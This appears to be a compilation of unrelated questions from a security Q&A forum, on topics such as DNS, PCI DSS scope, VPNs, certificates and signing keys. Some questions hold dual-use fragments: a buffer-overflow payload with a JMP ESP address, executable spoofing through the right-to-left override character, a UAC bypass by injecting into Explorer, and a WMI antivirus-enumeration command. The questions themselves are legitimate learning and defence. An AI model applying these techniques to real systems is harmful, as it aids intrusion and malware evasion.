The strange thing I noticed is that after trying to ping the list of subdomains (in order to get their IP addresses fairly easy and quick), there were many subdomains that seemed to resolve to bogus IPs which belonged to the 10.0.0.0/8 network. Also note that there was 100% packet loss for those subdomains.
Trying to resolve those subdomains through a DNS lookup utility (i.e. dig), but without specifying a specific nameserver for queries (@server), there was the same resolved address again.
Also searching about those subdomains on the internet gave me nothing, probably because they don't actually exist I suppose.
My ping output looked like the following:
ping example.testdomain.com
PING example.testdomain.com (10.8.60.103) 56(84) bytes of data.
^C
--- example.testdomain.com ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4103ms
Also the answer section from dig output is the following:
;; ANSWER SECTION:
example.testdomain.com. 600 IN A 10.8.60.103
;; Query time: 80 msec
;; SERVER: 1.1.1.1#53(1.1.1.1)
;; WHEN: Thu Sep 23 14:11:56 UTC 2021
;; MSG SIZE rcvd: 62
Why am I getting those IPs in the resolution of subdomains (that do not exist) ?
I suspect it all has to do with this, which also has some very good references, but what I cannot understand is how and why is the DNS resolution happening for those IPs.
What is a possible case scenario that explains this observed bahaviour?
|
I am running a server with Django and Nginx. I tried to hide the admin panel by assigning it a 50digit random string as URL (something like https://mydomain/asidfhifuerbdsi...). Now someone found this URL and I am wondering if this was possible without hacking my page.
More information:
There is a sitemap, but the URL is not on the sitemap
There is no robots.txt
Directory listing was enabled for a subdirectory /static but the URL in question was not part of this subdirectory
I am using PostHog to keep track of the traffic
I am using the Google Search Console but the URL in question is not shown there
In my understanding, one would have to "guess" the correct URL in order to find it which should be pretty much impossible given the length of the random string. All other options would include one of my accounts (github, posthog) or the server being compromised. Is this true?
Edit:
Addressing the comments:
debug mode is turned off
https is being enforced
I know someone accessed it because I can see some other IP accessing it in the nginx log
I can't see any evidence of brute-forcing. The correct URL was accessed directly without any trial and error
So I agree that there won't be a definite answer because I lack some required information. But to summarize for future readers, these are possible reasons for someone finding the URL:
Access to the server
Access to my code repository
Malicious browser extension
Access to my machine through malware
Antivirus / Web extension crawling my browsing history
Through a Referer HTTP header
|
Some of my files have been encrypted by ransomware. I can find some backup of files (unfortunately not all of them). Can I find the password of the 7Z zipped+encrypted files if I also have some of the original files?
|
I have a question related to this FAQ:
https://pcissc.secure.force.com/faq/articles/Frequently_Asked_Question/How-does-encrypted-cardholder-data-impact-PCI-DSS-scope?q=how+does+encrypted+data+impact+the+scope&l=en_US&fs=Search&
It says:
The following are each in scope for PCI DSS:
Systems performing encryption and/or decryption of cardholder data,
and systems performing key management functions
Encrypted cardholder data that is not isolated from the encryption and decryption and key management processes
Encrypted cardholder data that is present on a system or media that also contains the decryption key
Encrypted cardholder data that is present in the same environment as the decryption key
Encrypted cardholder data that is accessible to an entity that also has access to the decryption key
In respect to: Encrypted cardholder data that is accessible to an entity that also has access to the decryption key
That implies if you have an area in company, and that area gives a token to a third party in other company ( by token I mean a PAN encrypted with strong crypto and Google Bank has the key in an HSM), that third party is out of scope of PCI, because it doesn't have access to the key material to decrypt it. However, if the area of the company gives the token to another area, which belongs to the same company but it's in a different infrastructure and doesn't have access to the keys, it would be in scope of PCI?
This seems to contradict a paragraph of network segmentation from PCI DSS
"To be considered out of scope for PCI DSS, a system component must be
properly isolated (segmented) from the CDE, such that even if the
out-of-scope system component was compromised it could not impact the
security of the CDE."
|
As described here: https://tools.ietf.org/id/draft-ietf-oauth-security-topics-13.html#proposed-countermeasures-2
Note on pre-warmed secrets: An attacker can circumvent the
countermeasures described above if he is able to create or capture the
respective secret or code_challenge on a device under his control,
which is then used in the victim's authorization request.
|
For example, can an .exe file be spoofed in .txt or .mp3 in Windows and still be executed as an executable?
I know some basic methods like:
using right-to-left override character (U+202E)
winrar 4 zip file exploit (no longer working)
Is there another new method of doing it in a recent version of Windows?
|
There are many articles out there stating that a user's encrypted files are lost after an administrator resets the password of that user.
I tried:
Logged on as user (Domain User) with password 54321
created a file named test.txt on the desktop
encrypted the file using EFS (The certificate was automatically generated)
logged off and logged on as Administrator.
opened Active Directory Users and Computers, reset the password of user to 12345
logged off and logged on as user
tried to open the file test.txt and it could be opened, which is not exactly what I expected
Is this expected behaviour?
According to this post, user should not be able to read their encrypted files anymore.
Can anyone explain to me why the post and the actual behavior on my system differ?
|
I was wondering if the connection towards the ocsp responder/server is TLS encrytped itself. Meaning that the client requesting a validity check for a certificate verifies the OCSPs server certificate?
If so that OCSP server should be signed by the a root ca (which the client can verify via its truststore) in order to not end up in an infinite loop, right?
I think that OCSP validation comes before certificate chain validation.
Any clarification would be great.
|
I want to analyze the traces of a program in my VM by executing it and then capturing the memory and disk using FTK Imager.
However, it looks like --given the environment I have-- the program only runs for a couple seconds, and --since the target program is done before FTK ends-- the memory snapshot doesn't show the executable at all.
What would you do given this situation?
|
Assuming a private_key.pem and the associated certificate client_cert.pem signed by CA (CSR signed with private_key.pem).
Next, I create the pfx container with:
# create pfx with private_key.pem and client_certificate.pem
openssl pkcs12 -export -in client_cert.pem -inkey private_key.pem -certfile client_cert.pem -out client_cert.pfx
# extract from the pfx the private_key that was used.
openssl pkcs12 -in client_cert.pfx -nocerts -out private_key_extracted.pem -passin pass: -nodes
Comparing the two keys I see that they differ.
The base64 part differs as well as the headers:
private_key.pem -> -----BEGIN RSA PRIVATE KEY-----
private_key_extracted.pem -> -----BEGIN PRIVATE KEY-----
Any tips on why this is the case?
Are these the same private keys?
|
I'm currently working at home. My employer provides me a VPN access to the company resources: intranet, ssh access to computers, etc. I was wondering what exactly means to use a VPN, and what type of information my employer can "see" of my use of the internet. Is all traffic routed through my company, so they can see what I do with my internet connection? I doubt it for various reasons:
there is some little information provided by the client that mentions the number of bytes transferred, which are a always small numbers
when I check my IP through internet services, or even I try to geolocalise me, I get the same result before and after connecting the VPN.
I doubt my company is willing to afford the resources required to route the traffic of all their employees (and my connection is not sensibly affected when I use the VPN)
I have the impression that only "relevant traffic towards the company" is routed through the VPN, whereas the general use of the internet such as Youtube, for instance, is not channeled through the VPN. Does this make any sense?
To give some details of my connection that can be used to resolve my question, I use Forticlient, although I have recently discovered I can also use openfortivpn, that has the advantage of being scriptable. Other than this, I don't know many details of the connection and how it is performed.
How can I gather more information of what information is exactly being sent to my employer through the VPN? Should I disconnect it whenever it is not strictly necessary for my work?
|
In a buffer overflow exploit, when we use a JMP ESP instruction to jump to the ESP, instead of using the address of the JMP ESP, can't we use the opcodes of it?. I generated the opcodes of the JMP ESP instruction with mona in Immunity Debugger.
!mona assemble -s "JMP ESP"
Which was \xff\xe4
In my case, the offset where the program crashes is 204, and my payload looks like this.
payload_size = 4000
payload = b"".join([
b"A"*204,
p32(0x62501205), # JMP ESP
b'C' * (payload_size - offset - 4)
])
Here, instead of using the address where the JMP ESP instruction(0x62501205) is can't we use the instruction itself (\xff\xe4)? My final goal is to know if it is possible to use the opcodes of a function(JMP ESP in this case) instead of using the address of the function itself.
|
I usually receive e-mails from an organization called Change.org, that is a site for create on-line petitions (it's site is https://www.change.org/).
The thing is, they send me e-mails with suggestions about petitions to sign in, but the sender's email is change@f.change.org.
I started to think about this e-mail and I'm thinking if it's a legitimate e-mail or not, because the "@f.change" part in the sender's email. Why there is a "f."? Shouldn't it be just change@change.org?
I realized a lot of emails don't have exactly the same name of the web page. Is this a thing about the e-mail services that organizations or enterprises use or is a signal that is a phishing e-mail?
|
If someone uses the administrator Windows account for everyday work while having the default UAC settings they will be prompted by UAC whenever an application other than certain predefined system apps requires elevated permissions. From the security point of view this is equivalent to no protections against malware getting elevated permissions:
the Notify only when apps try to change settings option can be subverted by any app simply by injecting a thread into Explorer and doing its dirty work there. Since Explorer is a program that the setting allows to elevate silently, this lets you perform a silent elevation from any thread that has thread injection rights into Explorer (which is pretty much any program running at medium integrity level or higher).
One may, therefore, set the UAC slider to the highest setting ('Always notify'). However, not even such a setting is recommended. As exemplified in a recent discussion in the 'The DMZ' chatroom, many people will recommend to use a standard Windows account for everyday work. If elevated permissions are needed, a UAC prompt will ask for the password of the administrator account and only then allow a process to run, but this time under a different account (the administrator account, rather than the standard account).
How does this protect against malware getting elevated privileges more than using the administrator account with the highest UAC settings?
I can see two possible options and I don't have enough knowledge to say which - if any - is correct:
Under the administrator account with highest UAC setting malware can inject arbitrary code into Explorer. Unlike in case with the default UAC settings this malware won't get elevated permissions immediately, but will still get them at the first time the user elevates Explorer, for example because they need to copy a file to a protected location. If, instead of using the administrator account, the user is logged in a standard account the same thing will happen: malicious code will be run under the administrator account with elevated permissions the moment the user elevates Explorer, with the only difference being that the user will have to enter a password into the UAC prompt.
As suggested in the chatroom elevating Explorer spawns a new process and therefore - provided that Explorer is elevated by UAC and not automatically, as in the default settings - no threats injected by malware can get elevated with Explorer. Again, this would render using the administrator account with highest UAC settings no different from running a standard account.
Is there a 3rd option I overlooked? Does using the standard Windows account offer any security benefits to using the administrator account with highest UAC settings?
|
Why would different JetBrains IDE products need to query the installed antivirus product in the exact same way that malicious programs do?
The wmi command is the following:
wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname,productstate
I observed this command coming from idea64 (intellij) and pycharm, both of which are IDE programs designed by jetbrains. I cant understand why an IDE would need to perform this activity.
This wmi query if googled comes up as a common malicious behavior to detect the security products on the device, and whether or not they are running. Anyone got any insight into this?
|
I currently have a fiber optic internet connection at home. My ISP uses GPON where the ONU acts as a gateway device which has a direct fiber optic connection to it. ONU is a Huawei HG8145V5.
I understand that downstream network traffic in a GPON splitter network is broadcast to all ONUs simultaneously,and each ONU does the filtering for the GEM packets relevant to the specific ONU and discards the rest. Hence, I have three parts to the question:
how is this filtering done?
can the downstream traffic to all ONUs be sniffed from a specific ONU connected to the same splitter network?
Some ISPs encrypt the downstream traffic. In that case, what information would a potential attacker/sniffer see? I.e. Would they be able to see my router's public IP or MAC address for instance?
Lastly, with the information obtained from the above, would it be sufficient to locate my router/devices on the network to launch an attack?
I'm trying to secure my network, and have been seeing multiple attempts to breach my network. And frequently see that there have been configuration changes made to my router (which I have not made, checked with ISP and they have not made any changes either).
Appreciate any insights to this, particularly for means to hide my IP address from neighbouring ONUs connected to the same splitter network.
|
These days I see many apps request access to photos on iPhone. I understand app request access to photos to iOS which then request access to me, that sounds ok. In that context I can allow access to all photos or just some (I don't remember all the options).
What happens when app have access to your photos? Does it mean the app can use the photos for whatever?
I guess an app will not publish my photos somewhere else but perhaps it will consume all the information it can get from that photos.
If I give access to all photos (i.e. to whatsapp), because I don't want't to bother about this again, it means the app will have unrestricted access to the photos.
Let's say I write down a password in a piece of paper and take a photo, it sounds to me an app with access to my photos can get that quite easily.
|
I am curious about the Integrity metric in CVSS 3.1.
Low is:
"Modification of data is possible, but the attacker does not have
control over the consequence of a modification, or the amount of
modification is limited. The data modification does not have a direct,
serious impact on the impacted component."
High is:
"There is a total loss of integrity, or a complete loss of protection.
For example, the attacker is able to modify any/all files protected by
the impacted component. Alternatively, only some files can be
modified, but malicious modification would present a direct, serious
consequence to the impacted component."
With that description, I assumed that the Integrity of parameter tampering is Low because we only can modify some data on a given parameter. But many security vendors give High value Integrity on parameter tampering.
Help me to understand parameter tampering given High Integrity. Or, can I get some examples of vulnerabilities that have Low Integrity?
|
When GPS is spoofed in a smartphone, does this affect whatever is being monitored? Suppose I spoof the GPS on my smartphone, such as lazy Pokemon GO players do to play from their couch. Will this spoof be transmitted to a surveillance agency that could be monitoring the device? Or will it only affect the results on the device itself? i.e., can it be used to trigger a police raid on a specific false location?
|
I recently found that the latest release of a major Linux distribution (MX Linux) uses DSA-1024 in /etc/apt/trusted.gpg and in /etc/apt/trusted.gpg.d/*.gpg
It also probably uses SHA-1 as the signature algorithm (which is the most common one used with DSA-1024)
Is using DSA-1024 safe, especially considering the fact that APT delivers packages & release files by plain HTTP and then verifies it with these signatures ?
What are the reasons and justifications for its security / insecurity ?
These are the keys :
$ sudo apt-key list
Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).
/etc/apt/trusted.gpg
--------------------
pub dsa1024 2005-10-29 [SC] [expired: 2011-01-22]
1F5C 2E81 5EC2 9445 3B15 233C D3F9 85C5 1A77 B3E9
uid [ expired] Warren Woodford (MEPIS Maintainers) <dev@mepis.org>
pub dsa1024 2004-09-12 [SC]
6302 39CC 130E 1A7F D81A 27B1 4097 6EAF 437D 05B5
uid [ unknown] Ubuntu Archive Automatic Signing Key <ftpmaster@ubuntu.com>
sub elg2048 2004-09-12 [E]
pub dsa1024 2006-11-23 [SC]
64D1 5ADA FA81 B2C5 619B 3297 2EBC 26B6 0C5A 2783
uid [ unknown] The Medibuntu Team <medibuntu@sos-sts.com>
sub elg2048 2006-11-23 [E]
pub dsa1024 2004-12-30 [SC]
C598 6B4F 1257 FFA8 6632 CBA7 4618 1433 FBB7 5451
uid [ unknown] Ubuntu CD Image Automatic Signing Key <cdimage@ubuntu.com>
pub dsa1024 1999-10-03 [SC]
1D7F C53F 80F8 52C1 88F4 ED0B 07DC 563D 1F41 B907
uid [ unknown] Christian Marillat <marillat@debian.org>
uid [ unknown] Christian Marillat <marillat@free.fr>
sub elg1536 1999-10-03 [E]
sub dsa1024 2002-08-26 [SCA]
pub dsa1024 2007-02-07 [SC]
64C3 6120 DA8D 91E7 378B E79F 3916 C431 F809 94F6
uid [ unknown] Stefan Lippers-Hollmann (sidux.com) <s.l-h@gmx.de>
sub elg4096 2007-02-07 [E]
pub dsa1024 2006-09-26 [SC] [expired: 2009-09-25]
CD5A 9776 9F6E F4D9 EBCD 8F92 0334 3153 6A42 3791
uid [ expired] Opera Software Archive Automatic Signing Key <hostmaster@opera.com>
pub dsa1024 2007-06-04 [SC]
6947 BD50 026A E8C8 9AC4 09FD 390E C3FF 927C CC73
uid [ unknown] innotek GmbH (archive signing key) <info@innotek.de>
sub elg2048 2007-06-04 [E]
pub dsa1024 2008-09-13 [SCA]
B80B CDE3 19EE 84E0 A353 E7CF FEC8 20F4 B8C0 755A
uid [ unknown] Adam Blackburn <compwiz18@gmail.com>
sub elg2048 2008-09-13 [E]
pub dsa1024 2008-07-14 [SC]
AF45 1228 01DA D613 29EF 9570 DCF9 F87B 6DFB CBAE
uid [ unknown] Sun Microsystems, Inc. (xVM VirtualBox archive signing key) <info@virtualbox.org>
sub elg2048 2008-07-14 [E]
pub dsa1024 2008-09-14 [SC] [expired: 2010-09-14]
A949 B28F 7A96 8063 6CA3 36DE 81D4 980F A170 4726
uid [ expired] Hendrik Rittich <hendrik.rittich@gmx.de>
pub dsa1024 2009-05-11 [SC]
70C4 F178 C4AC 36D2 9A3B 52F0 3EFF 4F27 2FB2 CD80
uid [ unknown] Steven Barrett <damentz@gmail.com>
sub elg2048 2009-05-11 [E]
pub dsa1024 2010-05-18 [SC]
7B0F AB3A 13B9 0743 5925 D9C9 5442 2A4B 98AB 5139
uid [ unknown] Oracle Corporation (VirtualBox archive signing key) <info@virtualbox.org>
sub elg2048 2010-05-18 [E]
pub dsa1024 2009-08-31 [SC] [expired: 2011-01-23]
8526 E45F AF83 DE2F 634C 1909 F9A2 F76A 9D1A 0061
uid [ expired] Opera Software Archive Automatic Signing Key 2010 <packager@opera.com>
pub dsa1024 2011-01-22 [SC]
565F 67CD 02BA 29CF 4F5D 5405 E6AD 81A8 B9FB E3CE
uid [ unknown] Warren Woodford (MEPIS Maintainers) <dev@mepis.org>
sub elg1024 2011-01-22 [E]
pub dsa1024 2010-11-08 [SCA]
EA29 BBBE 6A41 95E6 EF3C E709 A40E 385D 15B0 B570
uid [ unknown] aurelien (Be Free!) <ice.cube@gmx.com>
sub elg2048 2010-11-08 [E]
pub dsa1024 2010-12-08 [SC] [expired: 2012-12-07]
DB3D FC6C 82D3 D79B 4590 F276 0393 B863 8C00 FC18
uid [ expired] Hendrik Rittich <hendrik.rittich@gmx.de>
pub rsa2048 2010-03-31 [SC]
5929 601B 7779 956E 0117 749A 515F 1784 FFF0 6A93
uid [ unknown] Dedinčanov archív balíkov (Debian APT repositary) <dedincan@slavino.sk>
pub rsa1024 2012-03-11 [SC] [expired: 2013-03-11]
255F 0237 51CF AA0F 3B78 F548 F4EA 6AF9 3465 FC9B
uid [ expired] David deJong (Dave) <david@daveserver.info>
pub rsa2048 2012-04-14 [SC]
48A9 B686 96FF FD91 ED9C 5AD8 8982 541D FD08 FE04
uid [ unknown] antiX (this is for the antix repo) <antix@daveserver.info>
sub rsa2048 2012-04-14 [E]
pub dsa1024 2011-11-08 [SC] [expired: 2013-01-11]
5C68 6B8F D30F A0E6 AB7E 6DAE AAFF 4A5B 3360 64B5
uid [ expired] Opera Software Archive Automatic Signing Key 2012 <packager@opera.com>
pub dsa1024 2009-12-11 [SCA]
3289 E2A9 7822 F308 E660 30F0 7DCA C92F 09F8 ECEF
uid [ unknown] aurele (Free your Gnu !) <ice.cube@gmx.com>
sub elg2048 2009-12-11 [E]
pub dsa2048 2013-05-25 [SC]
D95E 9BC9 3D63 42FA 4843 805E 0CA3 2171 3B07 EE13
uid [ unknown] MEPIS Community Repository (CR Signing key) <repo@teharris.net>
sub elg2048 2013-05-25 [E]
pub dsa1024 2010-09-20 [SC] [expired: 2015-02-06]
2920 868D C0F8 016A A35A A0F8 E429 CCF8 6CE3 3D20
uid [ expired] home:gottcode OBS Project <home:gottcode@build.opensuse.org>
pub dsa2048 2014-01-21 [SCA] [expired: 2019-01-20]
C8CF 3513 60C3 7394 5178 8AE5 81E7 7EAF 14E2 25A0
uid [ expired] MX Community Repository <repo@teharris.net>
/etc/apt/trusted.gpg.d/antix-archive-keyring.gpg
------------------------------------------------
pub rsa2048 2013-03-13 [SC] [expires: 2024-04-25]
ED57 48AC 0E57 5DD2 49A5 6B84 DB36 CDF3 452F 0C20
uid [ unknown] antiX Linux repo <repo@antixlinux.com>
sub rsa2048 2013-03-13 [E] [expires: 2024-04-25]
/etc/apt/trusted.gpg.d/debian-archive-bullseye-automatic.gpg
------------------------------------------------------------
pub rsa4096 2021-01-17 [SC] [expires: 2029-01-15]
1F89 983E 0081 FDE0 18F3 CC96 73A4 F27B 8DD4 7936
uid [ unknown] Debian Archive Automatic Signing Key (11/bullseye) <ftpmaster@debian.org>
sub rsa4096 2021-01-17 [S] [expires: 2029-01-15]
/etc/apt/trusted.gpg.d/debian-archive-bullseye-security-automatic.gpg
---------------------------------------------------------------------
pub rsa4096 2021-01-17 [SC] [expires: 2029-01-15]
AC53 0D52 0F2F 3269 F5E9 8313 A484 4904 4AAD 5C5D
uid [ unknown] Debian Security Archive Automatic Signing Key (11/bullseye) <ftpmaster@debian.org>
sub rsa4096 2021-01-17 [S] [expires: 2029-01-15]
/etc/apt/trusted.gpg.d/debian-archive-bullseye-stable.gpg
---------------------------------------------------------
pub rsa4096 2021-02-13 [SC] [expires: 2029-02-11]
A428 5295 FC7B 1A81 6000 62A9 605C 66F0 0D6C 9793
uid [ unknown] Debian Stable Release Key (11/bullseye) <debian-release@lists.debian.org>
/etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
----------------------------------------------------------
pub rsa4096 2019-04-14 [SC] [expires: 2027-04-12]
80D1 5823 B7FD 1561 F9F7 BCDD DC30 D7C2 3CBB ABEE
uid [ unknown] Debian Archive Automatic Signing Key (10/buster) <ftpmaster@debian.org>
sub rsa4096 2019-04-14 [S] [expires: 2027-04-12]
/etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg
-------------------------------------------------------------------
pub rsa4096 2019-04-14 [SC] [expires: 2027-04-12]
5E61 B217 265D A980 7A23 C5FF 4DFA B270 CAA9 6DFA
uid [ unknown] Debian Security Archive Automatic Signing Key (10/buster) <ftpmaster@debian.org>
sub rsa4096 2019-04-14 [S] [expires: 2027-04-12]
/etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
-------------------------------------------------------
pub rsa4096 2019-02-05 [SC] [expires: 2027-02-03]
6D33 866E DD8F FA41 C014 3AED DCC9 EFBF 77E1 1517
uid [ unknown] Debian Stable Release Key (10/buster) <debian-release@lists.debian.org>
/etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
-----------------------------------------------------------
pub rsa4096 2017-05-22 [SC] [expires: 2025-05-20]
E1CF 20DD FFE4 B89E 8026 58F1 E0B1 1894 F66A EC98
uid [ unknown] Debian Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org>
sub rsa4096 2017-05-22 [S] [expires: 2025-05-20]
/etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg
--------------------------------------------------------------------
pub rsa4096 2017-05-22 [SC] [expires: 2025-05-20]
6ED6 F5CB 5FA6 FB2F 460A E88E EDA0 D238 8AE2 2BA9
uid [ unknown] Debian Security Archive Automatic Signing Key (9/stretch) <ftpmaster@debian.org>
sub rsa4096 2017-05-22 [S] [expires: 2025-05-20]
/etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
--------------------------------------------------------
pub rsa4096 2017-05-20 [SC] [expires: 2025-05-18]
067E 3C45 6BAE 240A CEE8 8F6F EF0F 382A 1A7B 6500
uid [ unknown] Debian Stable Release Key (9/stretch) <debian-release@lists.debian.org>
/etc/apt/trusted.gpg.d/mx21-archive-keyring.gpg
-----------------------------------------------
pub rsa2048 2021-02-06 [SC]
7854 EF6B F0E8 CC66 5736 4CF8 F942 E0D4 E1C7 26CD
uid [ unknown] MX-21 Repository <maintainer@mxrepo.com>
sub rsa2048 2021-02-06 [E]
I found anther question regarding the safety of DSA ( Is the use of DSA keys a security risk? ) , but that one was from 8 years back.
Computational power has grown a lot after that question was asked and so have security concerns and practices.
I had also pointed this out on the distro's forums, and no action was taken / planned to be taken.
https://forum.mxlinux.org/viewtopic.php?f=6&t=66528
FYI: Ubuntu has removed DSA-1024 keys in 2016, as given in https://bugs.launchpad.net/ubuntu/+source/ubuntu-keyring/+bug/1363482
|
There are a variety of anti-audio recording devices out there, including white noise generators which can block audio recording equipments especially phones. What specs should I be looking for if I want a device that will work against all audio recording devices? Is that even technically possible?
|
I have bunch of cat images whose names are sha1 of website where it was posted.
Here is an example: 3afec3b4765f8f0a07b78f98c07b83f013567a0a.jpg
website: http://www.example.com/image.jpg
If sha1 is simple/dumb function i.e. hash = sha1('text with no random salt attached') and every time it produces the same hash result for the same given input Why can't I just get back original website name from hash? or am I something?
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I live in a student house with 2 guys and a girl and I'm not very tech-savvy. When we moved in we got Virgin Media broadband. I have set this up before and the admin panel is very basic with no features that allow you to be intrusive.
Shortly after moving in, one of my housemates (let's call him Steve) started insisting we used his router instead to get a "better connection". He brought out this big, round, white box with a blue circle on the top and plugged it into the back of our Virgin Media router. This created a new hotspot and the Virgin router now has a red light on the front.
The new box appears to be running "UniFi OS". Which seems to be network management software. I was fine with this, thinking it was nothing our of the ordinary.
Where things get weird
The next day, Kaspersky alerted me of a "Network Attack". It said that someone was running a Port Scan on our network. I questioned Steve about this and he gave me some technical jargon (something about an RF environment), but he said it was something he did manually to map out the network.
A day or so later, one of my other housemates said he saw Steve looking at our web history (sites visited e.t.c.) via an app on his phone. I also saw him briefly looking at an app that had a list of every device on our network. (I assume that's what the port scan was for)
I am very uncomfortable with someone being able to see all the sites I am visiting. From a privacy and security standpoint. Especially considering none of us have access to the router control panel.
My question...
Would it be possible for me to re-enable the original Virgin Media hotspot and for him to continue using his router as a separate network? Or would he still be able to see our traffic? Ideally I'd like a solution that keeps both parties happy.
I am not very skilled in networking so really have no clue if any of these options are possible. My biggest concern is Steve making us think we've switched back to the old router but is still monitoring us. Is there any way I could check this?
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I have golang app that works as server which a single client accesses by the IP hostname (aaa.bbb.ccc.ddd). Trying to implement mTLS.
Since I have only one client, its cert/key pair (myclient.crt/myclient.key) is directly stored in the server app with the self-signed CA cert (notmyca.crt).
The connection between both works, however when I try to curl:
curl "https://aaa.bbb.ccc.ddd:port/endpoint" --key myclient.key --cert myclient.crt --cacert notmyca.crt
I am getting a complain that "certificate subject name 'xxx' does not match target host name 'yyy' "
Steps:
the self-signed ca 'notmyca.crt/notmyca.key' were provided by another application.
Add notmyca.crt certificate to the system:
sudo cp notmyca.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates
create a new key for the server app:
openssl genrsa -out my-app.key 2048
create a csr for the server app:
openssl req -sha256 -new -key tas.key -subj "/CN=differentFromCA" -reqexts SAN -config <(cat /etc/ssl/openssl.cnf <(printf "\n[SAN]\nsubjectAltName=IP:aaa.bbb.ccc.ddd")) -out my-app.csr
create the server cert:
openssl x509 -sha256 -req -in my-app.csr -CA notmyca.crt -CAkey notmyca.key -CAcreateserial -out my-app.crt -days 7300
verify the cert:
openssl verify my-app.crt
the verification was ok
Add my-app.crt certificate to the system:
sudo cp notmyca.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates
curl using notmyca.crt
curl "https://aaa.bbb.ccc.ddd:port/endpoint" --key myclient.key --cert myclient.crt --cacert notmyca.crt
getting the msg:
"certificate subject name 'xxx' does not match target host name 'yyy' "
curl using -k flag:
if the client cert/key are passed. No problem, getting the expected and right result.
So, what do I have to do for curl to accept the ca cert??
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I understand, that mobile phone verification is probably the most convenient way to validate real users and avoid spam, but those "secure/private" messengers are afterward still bound to phone numbers, and this has inherent vulnerabilities with regard to security - your whole account depends on SMS codes (and as discussed many times GSM (sms) technology is purely vulnerable).
The solution could be if the user could set up a username & password (or 2FA TOTP code), thus the phone number could be stripped from the account. However, I was unable to do that with the top 3 "secure" messengers (ironically, Facebook/Google has that feature, after setting up 2FA, you can de-associate phone number from the account). Any way to achieve that with Telegram/Signal/WhatsApp? Otherwise, I don't consider these messengers as secure as I think of security.
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I have the following setup Nginx + php-fpm, Nginx is running on port 80 and 443.
Recently I noticed that connections were made from this servers port 80 to a remote machine on port 580x. [ src port is 80 (Nginx) and dst port is 580x]
Has someone seen such an exploit before ? I have checked the Nginx logs, nestat connections, current sessions, secure, messages and audit logs but found nothing interesting.
What I find weird is my Nginx initiating a connection to port 580x on a remote server.
Thanks,
Termcap
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I'm implementing custom authentication & session management system in Node.js & PostgreSQL. My goal is to implement sessions that expire after 2 weeks (if not refreshed/renewed).
OWASP and other resources suggest to store unhashed session IDs both in database and cookie. However, if those session IDs are leaked from the database, then they can be used to successfully authenticate before they expire.
I wonder if hashing sessions would add some additional security against such situations. The implementation I'm thinking about would work like this:
User authenticates.
A session is saved to database with id (UUID v4) and token_hash (SHA256 hash of cryptographically secure random string).
Both id and original unhashed token are saved to response session cookie(s).
Then on subsequent requests:
Server reads id and token from request session cookies.
If there's a session found with id, then the token is verified against token_hash. If it succeeds, then the user is authenticated.
(I'm thinking about using both session id and token/token_hash because I think it will be faster to first find the session simply using id, and only then verify token against token_hash. Otherwise, the token would need to be hashed on every request to find the session, which, I assume, would be slower, even if some fast hashing function like BLAKE3 would be used.)
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I use the same email address for the AWS root user and my Amazon shopping account.
Unfortunately the password for both parts of Amazon is also the same, when I change the AWS password I automatically have the same for the shopping part.
But I want to have different passwords (but same email address), how do I manage this?
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I click a link with good content (this doesn't guarantee the site isn't compromised) and Firefox gives me this error:
Websites prove their identity via certificates. Firefox does not trust this site because it uses a certificate that is not valid for example.net. The certificate is only valid for the following names: [A huge list of spamy and pornny sites]
I wonder in what situation this happens?
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can HSTS be considered asa remediation for the vulneraberabity "cookies are not protected by secure flag" for a PCI DSS auditor?
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I recently discovered the problem with Percent-encoding.
It makes perfectly sense when we are dealing with such problem in a browser scenario. But I don't get why a software like WinSCP can be affected by the same issue.
In my opinion the special character encoding/decoding shouldn't happen in normal SFTP software (as SFTP is a subsystem of SSH) or it could be easily bypassed.
I would like to know if this encoding/decoding could represent a security issue. Or is this encoding/decoding happening in every SFTP client? Or is just WinSCP the only client doing this and therefore why?
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